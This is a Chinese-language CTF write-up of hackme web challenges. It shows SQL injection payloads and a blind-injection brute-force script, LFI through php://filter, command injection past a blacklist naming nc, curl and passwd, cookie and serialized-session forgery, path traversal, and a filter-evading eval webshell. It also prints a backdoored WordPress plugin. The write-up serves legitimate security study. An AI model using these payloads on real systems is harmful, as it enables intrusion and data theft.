# Hackme CTF web write up ###### tags: `CTF` `write up` ## hide and seek - F12可以看到Flag ```htmlembedded <div class="container comic-sans"> <h2 style="color: rgba(255, 255, 255, 0)">FLAG{0h U C meeeeeeeeeeeeeeeeeeee!}</h2> </div> ``` ## guest book - new一個post之後去Message List看,每個post長這樣 ![](https://i.imgur.com/nq1Dag5.png) url : `https://hackme.inndy.tw/gb/?mod=read&id=133` $\Rightarrow$ 推測應該是用id當primary key去資料庫找資料 - 試試有沒有sql injection: 讓url的`id=-1` :::info - 如果有讀到東西就會顯示 - 如果沒讀到東西(ex`id=-1`),會顯示`Sorry, no data for this` ::: - 確認有sqli漏洞之後就可以開始爆欄位數,從`id=-1 union select NULL --`開始 - 最後到`id=-1 union select NULL,NULL,NULL,NULL --`會顯示,代表query共select 4個entry - 接著確認每個欄位的data type+確認回顯 - ex`id=-1 union select 'a',NULL,NULL,NULL --` - 如果顯示no data,表示第一個entry不是字串 - 最後`id=-1 union select 'a','b','c','d' --`可以成功顯示,表所有entry都是字串 - 且只有第2-4個entry會有回顯 ![](https://i.imgur.com/RR2CnKm.png =150x) - 再來確認SQL系統及db名 - 用`database()`,有顯示代表為`MySQL`,且可以得知該表所在的schema為`g8` ![](https://i.imgur.com/A1y7JWX.png =200x) :::info MySQL中有個information_schema的db,其中的tables,columns分別記錄了整個系統上的table及所有的column ::: - 爆table name - `id=-1 union select 'a', 'b', 'c' , group_concat(table_name) from information_schema.tables where table_schema='g8' --` - 得到table name`flag` - 爆column name - `id=-1 union select 'a', 'b', 'c' , group_concat(column_name) from information_schema.columns where table_name='flag' --` - 得到column name `id,flag,padding0,padding1` - 找flag - `id=-1 union select 'a', 'b', 'c' , group_concat(flag) from flag --` - 得到`http://i.giphy.com/3o72FdPiRXBRbBLUc0.gif,FLAG{Y0U_KN0W_SQL_1NJECT10N!!!' or 595342>123123#},http://i.giphy.com/m7BTtLWhjkEJa.gif` ## LFI ![](https://i.imgur.com/kZcKBTJ.png =100x) ### 法I - 點進introduction後url`https://hackme.inndy.tw/lfi/?page=pages/intro` $\Rightarrow$ 直接去讀server上的page,因此可能有LFI漏洞 - F12看原始碼 ```htmlembedded= <li class="active"> <a href="?page=pages/index">Home</a> </li> <li> <a href="?page=pages/intro">Introduction</a> </li> <!-- There is no flag <li> <a href="?page=pages/flag">Flag</a> </li> --> <li> <a href="?page=pages/login">Login</a> </li> ``` - 可以知道server上應該有個`pages/flag` - `https://hackme.inndy.tw/lfi/?page=pages/flag`嘗試讀取 ![](https://i.imgur.com/CSqnQjo.png =300x) - 每個page的差別都在最底下那行字(`Can you read the flag`)不同 - 用php偽協議`php://filter`讀讀看 - `page=php://filter/convert.base64-encode/resource=pages/flag` ![](https://i.imgur.com/FfC4spB.png =400x) - base64 decode得到`Can you read the flag<?php require('config.php'); ?>?` - 最後讀`config.php` - `page=php://filter/convert.base64-encode/resource=pages/config` - base64 decode得到flag ```php <?php $flag = "FLAG{Yoooooo_LFI_g00d_2cXxsXSYP9EVLrIo}"; ``` ### 法II - 同上,只是改成讀`pages/login`的src code - `page=php://filter/convert.base64-encode/resource=pages/login` - base64 decode ```php= <?php require('config.php'); if($_POST['user'] === 'admin' && md5($_POST['pass']) === 'bed128365216c019988915ed3add75fb') { echo $flag; } else { ?> ...以下略 ``` - 把hash值拿去線上[md5解密](https://www.dcode.fr/md5-hash) - 得到passw0rd - 在login頁面username輸入admin,password輸入passw0rd就可以拿到flag ## homepage - F12看src code,有個奇怪的js ```html=217 <script src="cute.js"></script> ``` - 訪問之後是一堆顏文字 `゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_')...` - 查了一下顏文字加密,發現應該是AAEncode - [解密](http://www.atoolbox.net/Tool.php?Id=703)之後才得到正常的js ```javascript= function print_qrcode(qrcode, color, fill) { var args = []; var buff = []; for (var i = 0; i < qrcode.length; i++) { var row = qrcode[i]; for (var j = 0; j < qrcode[0].length; j++) { buff.push("%c\u2588\u2588"); args.push("color:" + ("1" == row[j] ? color : fill)); } buff.push("\n"); } args.unshift(buff.join("")); console.log.apply(console, args); } var qrcode = ["11111110001000110011101111111", "10000010111000110100101000001", "10111010100000100100001011101", "10111010010010010001001011101", "10111010111010111010101011101", "10000010101010011001001000001", "11111110101010101010101111111", "000000001011000101101", "1101001100011110101000111011", "1111000111011010110011110001", "1101111000011100101100011001", "110111011111110110110101001", "01011011001100101111111101001", "00100101010101000101110000111", "00011011000101100110011001111", "1010110101010001111101101001", "00001011110011000111110001111", "0101100100001110100011110001", "10010111100110100010110111011", "0010110110101011011010011101", "10010110010000001010111110111", "0000000011110010110110001111", "1111111010100000101010101111", "10000010000000111000100011101", "10111010001010001000111110011", "1011101010111000001010100111", "10111010001010000111110010001", "1000001011101111111110010101", "1111111011010110010011001101"]; print_qrcode(qrcode, "#333", "#fff"); ``` - 拿去console執行之後得到一張QR code ![](https://i.imgur.com/C3r946P.png =200x200) - 掃一下就可以得到flag惹 ## ping - 一進去就可以看到給了server的src code ```php= ... <?php $blacklist = [ 'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed', 'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill', 'passwd', 'shadow', 'root', 'z', 'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g', 'xargs', 'PATH', '$0', 'proc', '/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n" ]; ... function ping($ip) { global $blacklist; if(strlen($ip) > 15) { return 'IP toooooo longgggggggggg'; } else { foreach($blacklist as $keyword) { if(strstr($ip, $keyword)) { //是否match $keyword return "{$keyword} not allowed"; } } $ret = []; exec("ping -c 1 \"{$ip}\" 2>&1", $ret); //redirect stderr to stdout,put output into $ret return implode("\n", array_slice($ret, 0, 10)); //array_slice()將$ret從index=0開始取10筆 //implode()將array中的元素串成字串,每個字串用"\n"分隔 } } if(!empty($_GET['ip'])) echo htmlentities(ping($_GET['ip'])); else highlight_file(__FILE__); ?> ``` - server會接收我們傳的字串為`$ip`,並執行`ping -c "{$ip}" 2>&1`,執行結果的output(包含原本output+err msg)放在`$ret`中 - `{}`:執行裡面的東西,因此會把`{$ip}`直接換成我們送的字串 - 目標為讀flag,正常來說如果沒有擋會放`system("cat flag")`,但cat flag皆被擋,而`$ip`是一個字串因此`system()`也會變成字串而非function :::info - ‵(backtic)沒有被擋,而php可以使用‵ls‵代替system(ls) - 常見的讀檔指令有`cat、tac、nl、more、less、head、tail` - 只有`cat`被擋 - `tac`從最後一行反向顯示 - `nl` = `cat -n` 印出行號 - `more`太長的內容一頁一頁顯示 - `less`跟`more`類似,但可以向上找字串或翻頁 - `head -10`讀前面10行 - `tail -10`讀後面10行 - shell可以用`*`匹配全部或是`?`匹配一個字元 ::: - 先送`‵ls‵` ![](https://i.imgur.com/OpXJGlb.png =250x) $\Rightarrow$ 得知有兩個檔案,`flag.php`及`index.php` - 讀檔 $\rightarrow$ `‵tac f*‵` ![](https://i.imgur.com/gwkjaHL.png =400x) ## scoreboard - F12 network看封包,request header中藏了一個x-flag ![](https://i.imgur.com/lpHd1he.png =300x) ## login as admin 0 - 用`guest`/`guest`登入之後"You are not admin" - src code ```php= ... function safe_filter($str) { $strl = strtolower($str); if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') || strstr($strl, 'update') || strstr($strl, 'delete') ) { return ''; } return str_replace("'", "\\'", $str); } $_POST = array_map(safe_filter, $_POST); ... if(!empty($_POST['name']) && !empty($_POST['password'])) { $connection_string = sprintf('mysql:host=%s;dbname=%s;charset=utf8mb4', DB_HOST, DB_NAME); $db = new PDO($connection_string, DB_USER, DB_PASS); $sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'", $_POST['name'], $_POST['password'] ); try { $query = $db->query($sql); if($query) { $user = $query->fetchObject(); } else { $user = false; } } catch(Exception $e) { $user = false; } ... if($user->is_admin) printf("<code>%s</code>, %s", htmlentities($flag1), $where_is_flag2); ``` - 對使用者輸入做了一些filter - 擋掉`'or 1=1'` $\rightarrow$ `' or 2=2'` - `'`被轉義變成`\\'` $\rightarrow$ 用`\'` - username輸入`\' or 2=2 #`,password隨意 ```sql select * from `user` where `user`='//' or 2=2 # AND password=... ``` - 發現可以登入,但說不是admin - username改成輸入`\' or ‵user‵="admin" #` ```sql select * from `user` where `user`='//' or `user`="admin" # AND password=... ``` ![](https://i.imgur.com/CPWcbyq.png =400x) ## login as admin 0.1 - 一樣先確認欄位數 - `\' union select NULL,NULL,NULL,NULL#`可以成功登入 - 接著確認data type,`\' union select 1,2,3,4#`的2有回顯,且data type為字串 ![](https://i.imgur.com/vIwNUvq.png =300x) - 爆出admin的密碼 - `\' union select 1,password,3,4 from user where user="admin"` ![](https://i.imgur.com/jSi5lZZ.png =300x) 看起來也不是密碼 - 找庫名 - `\' union select 1,database(),3,4#` ![](https://i.imgur.com/KL2qIbk.png =300x) - 同時確認應該是MySQL - 找table name - `\' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="login_as_admin0"#` ![](https://i.imgur.com/zwbcvgq.png =300x) - 找h1dden_f14g的column name - `\' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="h1dden_f14g"#` ![](https://i.imgur.com/lOy5yap.png =300x) - 找flag - `\' union select 1,group_concat(the_f14g),3,4 from h1dden_f14g#` ![](https://i.imgur.com/nUNQg32.png =300x) ## login as admin 1 - src code ```php= function safe_filter($str) { $strl = strtolower($str); if (strstr($strl, ' ') || strstr($strl, '1=1') || strstr($strl, "''") || strstr($strl, 'union select') || strstr($strl, 'select ') ) { return ''; } return str_replace("'", "\\'", $str); } ``` :::info - 多過濾了<空格> $\rightarrow$ 用`/**/`或是`%20`取代空格 - `union select`跟`select `不能用,但其實都還是可以用`union/**/select`跟`select/**/`繞過 ::: - user輸入`\'/**/union/**/select/**/1,2,3,4#`可以獲得flag ![](https://i.imgur.com/kOkuFTt.png =300x) 但這次沒有回顯 因為Username變成由POST參數獲得 ```javascript <h3>Hi, <?=htmlentities($_POST['name'])?></h3> //Username is from post arg ``` ## login as admin 1.2 - 由上題可知沒有回顯,經過測試之後得知第四個entry為0時會影響是否為admin - `\'/**/union/**/select/**/1,2,3,0#`登入之後沒有admin權限 - 猜測該欄位就是`$user->isadmin`對應的值,放敘述在裡面,並用登入後是否為admin來判斷true false $\rightarrow$ boolean base - 猜測schema_name為`login_as_admin1` - `\'/**/union/**/select/**/1,2,3,database()="login_as_admin1"#` ![](https://i.imgur.com/GIVbAyx.png =300x) - 爆table name - `\'/**/union/**/select/**/1,2,3,ascii(substr(group_concat(table_name),{},1))={}/**/from/**/information_schema.tables/**/where/**/table_schema=database()#` ```python= table = "" name = r"\'/**/union/**/select/**/1,2,3,ascii(substr(group_concat(table_name),{},1))={}/**/from/**/information_schema.tables/**/where/**/table_schema=database()#" for pos in range(1,50): for char in printable: post = {'name':name.format(pos,ord(char)), 'password':'123'} ret = requests.post(url,post).text if "You are admin!" in ret: table += char print(f"[+]table name is {table}") break # 0bdb54c98123f5526ccaed982d2006a9,users ``` - 爆column name ```python= col="" name = r'\'/**/union/**/select/**/1,2,3,ascii(substr(group_concat(column_name),{},1))={}/**/from/**/information_schema.columns/**/where/**/table_name="0bdb54c98123f5526ccaed982d2006a9"#' # id,4a391a11cfa831ca740cf8d00782f3a6 ``` - 最後爆flag - ## login as admin 3 - 是否噴flag由`$user['admin']`決定 ```javascript= <h3>Hi, <?=htmlentities($user['name'])?></h3> <h4><?=sprintf("You %s admin!", $user['admin'] ? "are" : "are not")?></h4> <?php if($user['admin']) printf("<code>%s</code>", htmlentities($flag)); ?> ``` - `user` cookie ```php= function set_user($user_data) { global $user, $secret; $user = [$user_data['name'], $user_data['admin']]; $data = json_encode($user); $sig = hash_hmac('sha512', $data, $secret); //hash_hmac(algo,data,key) $all = base64_encode(json_encode(['sig' => $sig, 'data' => $data])); //cookie['user']為base64加密後的結果 setcookie('user', $all, time()+3600); } ``` > 先用`guest`/`guest`登入,找cookie`user`,base64 decode之後得到`{"sig":"75d53f97acd211098a052b305d1caf191436c6d29d1936d947f8fde7733008a3968edaa4b4a68242db8696030505273914ded688d459e8c9225200d729a0b98e","data":"[\"guest\",false]"}` - data內容 > data[0] => name > data[1] => admin ```php= $error = null function load_user() { global $secret, $error; if(empty($_COOKIE['user'])) { return null; } $unserialized = json_decode(base64_decode($_COOKIE['user']), true); $r = hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig']; if(hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig']) { // !=為弱型別比較,可能繞過 $error = 'Invalid session'; return false; } $data = json_decode($unserialized['data'], true); return [ 'name' => $data[0], 'admin' => $data[1] ]; } ``` - login ```php= require('users_db.php'); // $users ... $user = load_user(); if(!empty($_POST['name']) && !empty($_POST['password'])) { $user = false; foreach($users as $u) { if($u['name'] === $_POST['name'] && $u['password'] === $_POST['password']) { // === 無法繞過 set_user($u); } } } ``` - 看起來應該是利用 1. `user`cookie中的`data`與全域變數`$secret`做sha256 hash 2. `user`cookie中的`sig` 之間的弱型別比較來繞過 - 而根據[php comparison table](https://www.php.net/manual/en/types.comparisons.php),` - `字串==0`會回傳`true` - 因此讓sig = 0,並讓admin設為true - `{"sig":0,"data":"[\"guest\",true]"}` - 記得base64 encode - 或是寫個php script ```php <?php function set_user() { $user = ['admin', true]; $data = json_encode($user); $sig = 0; $all = base64_encode(json_encode(['sig' => $sig, 'data' => $data])); return $all; } echo set_user(); ?> //$ php -f <file> //eyJzaWciOjAsImRhdGEiOiJbXCJhZG1pblwiLHRydWVdIn0= ``` - 最後修改cookie,重新整理,就獲得flag了 ![](https://i.imgur.com/Ag95Ekx.png =300x) ## login as admin 4 - name=admin, password跟server上的對比 ```php= if($_POST['name'] === 'admin') { if($_POST['password'] !== $password) { // show failed message if you input wrong password header('Location: ./?failed=1'); //向client發送raw http header //client收到之後會被redirect到"./?failed=1" //但在每個redirect之後應該加上'exit;' } } ``` :::info 問題點: 每個redirect之後應該要加上`exit;` ie `header(...); exit;` 如果沒有`exit;`,當前的php文件還是會繼續執行下去 ie 雖然redirect到`../login4/?failed=1` 但`../login4/`依然會繼續執行 ::: - 再往下看,發現只要name能夠為admin,就會噴flag - 因此我們只要能看到**原本頁面的執行結果**即可 ```javascript= <?php if($_POST['name'] === 'admin'): /* login success! */ ?> <div class="alert alert-success"><code><?=$flag?></code></div> ``` - `$password`無法得知,因此就是要想辦法不要redirect - 使用`curl` : `curl`本身**不跟蹤重定向**,用`curl -I`request http head時status code會顯示為302 - 如果要跟蹤redirect,再使用`-L`follow redirect - payload - `curl -d "name=admin&password=123" https://hackme.inndy.tw/login4/` - `-d <data>` $\rightarrow$ http post data ## login as admin 6 - src code ```php= $user = null; // connect to database if(!empty($_POST['data'])) { try { $data = json_decode($_POST['data'], true); } catch (Exception $e) { $data = []; } extract($data); //將array中的value賦值給key if($users[$username] && strcmp($users[$username], $password) == 0) { $user = $username; } } ``` 其中`$data`為request時送的參數 ![](https://i.imgur.com/BCRhHdY.png =300x) :::info - extract()的問題在於 如果array中,有key跟其他變數名稱相同,就能夠做到修改該變數的值 - ex ```php $a = 123; extract(array('a' => 456)); //$a=456 echo $a; //output : 456 ``` ::: - 噴flag條件為`$user='admin'` - 而`$user`最後賦值的地方在上面第13行`$user=$username` - `$username`可控 ```javascript= <h4><?=sprintf("You %s admin!", $user == 'admin' ? "are" : "are not")?></h4> <?php if($user == 'admin') printf("<code>%s</code>", htmlentities($flag)); ?> ``` :::success 1. 讓`$username='admin'` 2. `$users`是個array,原本為db中的帳密值,可從`$users[$username]`找到對應的password - 因此我們利用`extract()`賦值的特性重寫`$users`,讓`'admin'`對應的value為我們輸入的password ::: - payload(post參數) - `name=&password=&data={"username":"admin","password":"123","users":{"admin":"123"}}` - 或是更簡單的方式(因為如果第12行無法通過,`$user`就不會被賦值為`$username`),因此也可以在`extract()`直接賦值給`$user` - `name=&password=&data={"user":"admin"}` ## login as admin 7 - 關鍵code ```php= if($_POST['name'] == 'admin' && md5($_POST['password']) == '00000000000000000000000000000000') { // admin account is disabled by give a impossible md5 hash $user = 'admin'; } elseif($_POST['name'] == 'guest' && md5($_POST['password']) == '084e0343a0486ff05530df6c705c8bb4') { $user = 'guest'; } elseif(isset($_POST['name'])) { $user = false; } ``` :::info 可知username為admin,並檢查輸入password的md5 hash值,且都為弱型別比較 - 在php的弱型別比較中,`"000...0"`可能會被識別為字串或是0 - 要找到hash值為`"000...0"`不太可能,因此更可能是讓hash可以被識別為0 - ex `0e123`會被判斷成$0^{123} = 0$ - 因此只要找到hash值為`0e`開頭的密碼即可 - ex md5(240610708) = 0e462097431906509019562988736854 ::: ## login as admin 8 - 打開之後發現有兩個奇怪的cookie - `login8cookie`中的值拿去urldecode之後變成這樣 ```json= O:7:"Session":6:{s:14:"Sessiondebug";b:0;s:19:"Sessiondebug_dump";s:9:"index.php";s:13:"Sessiondata";a:0:{}s:4:"user";s:0:"";s:4:"pass";s:0:"";s:8:"is_admin";b:0;} ``` - 而將上面這串拿去做**sha512**之後就可以得到`login8sha512`中的值 - 關鍵code分析 ```php= require('config.php'); require('session.php'); // class Session { ... } // sorry, no source code this time. :P $session = Session::load(); $login_failed = false; ... if(isset($_POST['name'])) { $login_failed = !Session::login($_POST['name'], $_POST['password']); //猜測login()應該就是做hash比較的地方 } else if(isset($_POST['logout'])) { $session = new Session(); } $session->save(); ``` ```javascript= <?php if($login_failed): ?> //login()為true -> $login_failed為false才跳到第7行 //所以說,其實name等不等於admin搞不好一點也不重要 <?php if($_POST['name'] === 'admin'): ?> //username <div class="alert alert-danger">Nice try. Login failed</div> <?php else: ?> <div class="alert alert-danger">Login failed</div> <?php endif; ?> <?php elseif($session->is_admin): ?> //is_admin要為true才會印flag <div class="alert alert-success">Hello, admin! Here is your flag: <code><?=$flag?></code></div> <?php elseif($session->user): ?> <div class="alert alert-info">Hello, <?=$session->user?>. You are not admin, no flag for you! :P</div> <?php endif; ?> <?php if($session->user): ?> ``` - 把`login8cookie`中的 - `s:4:"user";s:0:""`改成`s:4:"user";s:5:"admin"` - `s:8:"is_admin";b:0`改成`s:8:"is_admin";b:1` - 然後拿去做sha512 結果 ![](https://i.imgur.com/mlxKG4i.png =300x) ## login as admin 8.1 - 前面發現還有一個debug參數 ```php= if($_GET['debug'] === '1') { $session->debug(); } ``` 但是如果訪問`../?debug=1`會得到Debug mode is not enable ![](https://i.imgur.com/WbJmE13.png =300x) - 而`login8cookie`中還有debug相關的欄位`s:14:"Sessiondebug";b:0`及`s:19:"Sessiondebug_dump"s:9:"index.php"` - 先嘗試將`s:14:"Sessiondebug";b:0`改為`s:14:"Sessiondebug";b:1` - 一樣修改`login8cookie`及`login8sha512`之後再次訪問`.../?debug=1`發現可以得到`index.php`的src code ![](https://i.imgur.com/TAh4Gcv.png =250x) - 因此猜測`login8cookie`中的`Sessiondebug_dump`應該就是控制要dump的原始碼的目標 - 所以最後再修改`s:19:"Sessiondebug_dump"s:9:"index.php"`為`s:19:"Sessiondebug_dump"s:10:"config.php"`就可以看到flag ![](https://i.imgur.com/RYjkzGp.png =300x) ### 順便看一下`session.php`的code ```php= <?php function file_in_web($file) { $file = realpath($file); if(strpos($file, ROOT) !== 0) return false; return true; } class Session { private $debug; private $debug_dump; private $data; public $user; public $pass; public $is_admin; public static function login($name, $password) { global $users, $session; $user = $users[$name]; if($user && $user['password'] === $password) { $session = new Session($name, $password, $user); $session->save(); return true; } return false; } //hash檢查 public static function load() { $data = $_COOKIE['login8cookie']; if(hash('sha512', $data) === $_COOKIE['login8sha512']) { return unserialize($data); } else { return new Session(); } } public function __construct($user='', $pass='', $data=[]) { $this->debug = DEBUG_MODE; $this->debug_dump = 'index.php'; $this->user = $user; $this->pass = $pass; $this->is_admin = !!$data['admin']; $this->data = $data; } public function save() { $data = serialize($this); $this->setcookie('login8cookie', $data); $this->setcookie('login8sha512', hash('sha512', $data)); } private function setcookie($name, $val) { setcookie($name, $val, time() + 60 * 60 * 24, '/login8', '', true, true); } public function debug() { if($this->debug) { if(file_in_web($this->debug_dump)) { highlight_file($this->debug_dump); } else { echo 'File out of scope'; } } else { echo 'Debug mode is not enabled'; } exit; } } ``` ## defuq-manager 1 - 用`guest`/`guest`登入之後可以看到 ![](https://i.imgur.com/hBnewvS.png =300x) - cookie中有個`show hidden`,把值改為`no`就會顯示hidden file ![](https://i.imgur.com/Aonicui.png =300x) ![](https://i.imgur.com/C7MrprD.png =300x) ## defuq-manager 2 - 另一個hidden file的內容為`Try to login as admin! and you will get flag2` - 第一個檔案為壓縮檔,下載下來之後一打開就看到`index.php` ```php= switch ($GLOBALS["action"]) { ... case "admin": require "./core/fun_admin.php"; show_admin($GLOBALS["dir"]); break; ... ``` - 接著去找`/core/fun_admin.php`其中的`show_admin()` ```php= function show_admin($dir) { $pwd = (($GLOBALS["permissions"] & 2) == 2); $admin = (($GLOBALS["permissions"] & 4) == 4); ... ``` - 然後卡住惹QQ,只好再翻翻看 - `/core/login.php` ```php= require "./core/fun_users.php"; load_users(); //load_users()應該是fun_users.php中的function, // 名字看起來應該是load所有資料庫中的user // GLOBALS["users"] = array(array("guest",...)) ``` - 接著找`fun_users.php` ```php= function activate_user($user, $pass) { $data = find_user($user, $pass); if ($data == NULL) return false; $GLOBALS['__SESSION']["s_user"] = $data[0]; $GLOBALS['__SESSION']["s_pass"] = $data[1]; $GLOBALS["home_dir"] = $data[2]; $GLOBALS["home_url"] = $data[3]; $GLOBALS["show_hidden"] = $data[4]; $GLOBALS["no_access"] = $data[5]; $GLOBALS["permissions"] = $data[6]; //發現permissions!! return true; //去找find_user() function &find_user($user, $pass) { $cnt = count($GLOBALS["users"]); for ($i = 0;$i < $cnt;++$i) { if ($user == $GLOBALS["users"][$i][0]) { //得知$user的資訊應該都存在$GLOBALS["users"]中 if ($pass == NULL || ($pass == $GLOBALS["users"][$i][1] && $GLOBALS["users"][$i][7])) { return $GLOBALS["users"][$i]; } } } return NULL; } //接下來要去找$GLOBALS["users"]的來源,發現前面有個load_users() function load_users() { require "./.config/.htusers.php"; } ``` - 再去看`.config/.htusers.php` ```php= <?php $GLOBALS["users"] = array( array( "guest", //s_user "084e0343a0486ff05530df6c705c8bb4", //s_pass "./data/guest", //home_dir "https://game1.security.ntu.st/data/guest", //home_url 0, //show_hidden "^.ht", //no_access 1, //permission 1 ), //這邊有逗點,代表後面應該還有,只是作者只給了這樣 //所以目標就是要想辦法讀到server上的.htusers.php ); ``` - 想法:既然要讀檔,就先找可以讀檔的operation,`index.php`中有幾種操作可能會讀檔案內容 1. `edit` 2. `copy` 3. `upload` - 先看`edit` ```php= case "edit": require "./core/fun_edit.php"; edit_file($GLOBALS["dir"], $GLOBALS["item"]); break; ``` - 去看`/core/fun_edit.php` ```php= function edit_file($dir, $item) { if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]); // permission只要=1就可以繼續執行,guest的permission就是1!! ... ``` 也真的可以編輯!! 順利讀到guest底下的`index.html` ![](https://i.imgur.com/PdnHRQ6.png =400x) - url中的`item`為檔名,試試看能不能讀到 `guest/index.html`在下載下來zip中的路徑為`dafuqManager\data\guest` - 而往前一層也有一個`index.html`,先嘗試讀前一層的這個檔案 $\Rightarrow$ 可以!! ![](https://i.imgur.com/diheyOn.png =400x) - 最後,`.htusers.php`可以由`/../../.config/.htusers.php`存取到 ![](https://i.imgur.com/tHJpJLK.png =500x) - 然後`s_pass`拿去[md5 decode](https://hashtoolkit.com/decrypt-hash)就可以得到密碼了 `note: 但我不知道為啥是md5` ![](https://i.imgur.com/XGHxiu0.png) how do you turn this on ## defuq-manager 3 - 提示為`Get a shell to find flag3` - php中跟webshell相關的函式 1. `system()` 2. `exec()` 3. `shell_exec()` 4. `eval()` 5. `‵..‵` 6. ...窩不知道 - 想說用sublime爆搜一波上面這些關鍵字,結果找到`/core/fun_debug.php`裡面可疑的檔掉絕大多數的webshell cmd ![](https://i.imgur.com/4Wo5w5j.png =400x) - 找`/core/fun_debug.php`出來看 ```php= <?php function make_command($cmd) { $hmac = hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]); return sprintf('%s.%s', base64_encode($cmd), $hmac); } function do_debug() { assert(strlen($GLOBALS['secret_key']) > 40); $dir = $GLOBALS['__GET']['dir']; if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) { //用strcmp比較錯誤會return 0(php5.3之前),讓$dir為array即可繞過 show_error('You are not hacky enough :('); } list($cmd, $hmac) = explode('.', $GLOBALS['__GET']['command'], 2); //command.split('.'),limit = 2 $cmd = base64_decode($cmd); $bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '`', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',); foreach ($bad_things as $bad) { if (stristr($cmd, $bad)) { //stristr()忽略大小寫... die('2bad'); } } if (hash_equals(hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]), $hmac)) { die(eval($cmd)); } else { show_error('What does the fox say?'); } } ``` - 另外在`./.config/conf.php`裡面翻到`secret_key` ```php= $GLOBALS["secret_key"] = 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3'; ``` - 先寫一個script來幫助計算$cmd的hmac跟base64 encode ```php= <?php $secret_key = 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3'; $cmd = $argv[1]; $hmac = hash_hmac('sha256', $cmd, $secret_key); echo sprintf("%s.%s",base64_encode($cmd),$hmac); ?> //usage : php -f <file> <cmd> ``` - 因為所有webshell相關的function都被waf $\Rightarrow$ 採用拼接的方式 `$a=sys;$b=tem;($a.$b)(...);` - 先執行`ls` $\rightarrow$ `\$a=sys;\$b=tem;(\$a.\$b)(ls);` ![](https://i.imgur.com/Wgaf7uF.png =400x) - `https://dafuq-manager.hackme.inndy.tw/index.php ?action=debug &dir[] &command=JGE9c3lzOyRiPXRlbTsoJGEuJGIpKGxzKTs=.988395ca90f1aeaa120de3b47be8c8223ab851ae36df6db2f72a058118e66090` ![](https://i.imgur.com/5bDOIXC.png =100x) - 最後`cat flag3`,結果沒反應,趕快在弄個`ls -la`看一下,結果發現居然是個資料夾 ![](https://i.imgur.com/RptpsBt.png =300x) - `cd flag3;ls -la` ![](https://i.imgur.com/7xeES8e.png =400x) `-r--------`代表`flag3`只有檔案擁有者(flag3)才可以讀 ![](https://i.imgur.com/fgiqke2.png =300x) - `cd flag3;cat meow.c`,看起來應該可以藉由執行`meow`來讀flag ```c= int main(int argc, char *argv[]) { const char *exec = argv[0]; const char *flag = argv[1]; char buffer[4096]; if(argc < 2) { printf("Usage: %s flag\n", argv[0]); puts("We have cat to read file, And the meow to cat flag."); return 0; } struct stat S; if(stat(exec, &S) != 0) { printf("Can not stat file %s\n", exec); return 1; } uid_t uid = S.st_uid; gid_t gid = S.st_gid; setuid(uid); seteuid(uid); setgid(gid); setegid(gid); int fd = open(flag, O_RDONLY); if(fd == -1) { printf("Can not open file %s\n", flag); return 2; } ssize_t readed = read(fd, buffer, sizeof(buffer) - 1); //read flag if(readed > 0) { write(1, buffer, readed); //output } close(fd); } ``` - 所以最後,`cd flag3;./meow flag3` ![](https://i.imgur.com/w7KrFwb.png =400x) ## wordpress 1 - 題目提示為 ``` Something strange is hidding in the source code, find it. Tips: This challenge does not require to exploit any thing, don’t use any scanner. ``` - backup那篇文中的連結可以下載到src code - 整個src code有夠大,但裡面三個資料夾中的`wp-content`中檔案跟其他比起來少很多,其`index.php`根本沒有code,懷疑有問題的就在這邊 ![](https://i.imgur.com/UlFX8aE.png =400x) - 其中`languages`跟`themes`應該可以先不考慮,而`upgrade`及`uploads`都是空的 - `plugins`裡面只有兩個檔案,其中`index.php`還是沒有code,`core.php`一打開就知道中了 ```php= //core.php <?php /** * @package f14gPrinter * @version 3.1415926 */ /* Plugin Name: Super f14g Printer Plugin URI: https://game2.security.ntu.st Description: This plugin can print f14g1 for you if you know the password! Author: Inndy Lin Version: 3.1415926 Author URI: https://inndy.tw */ function print_f14g() { $h = 'm'.sprintf('%s%d','d',-4+9e0); //$h = md5 if($h($_GET['passw0rd']) === '5ada11fd9c69c78ea65c832dd7f9bbde') { //md5 decode as "cat flag" if(wp_get_user_ip() === '127.0.0.1') { eval(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $h($_GET['passw0rd'].AUTH_KEY), base64_decode('zEFnGVANrtEUTMLVyBusu4pqpHjqhn3X+cCtepGKg89VgIi6KugA+hITeeKIpnQIQM8UZbUkRpuCe/d8Rf5HFQJSawpeHoUg5NtcGam0eeTw+1bnFPT3dcPNB8IekPBDyXTyV44s3yaYMUAXZWthWHEVDFfKSjfTpPmQkB8fp6Go/qytRtiP3LyYmofhOOOV8APh0Pv34VPjCtxcJUpqIw=='), MCRYPT_MODE_CBC, $h($_GET['passw0rd'].AUTH_SALT))); } else { 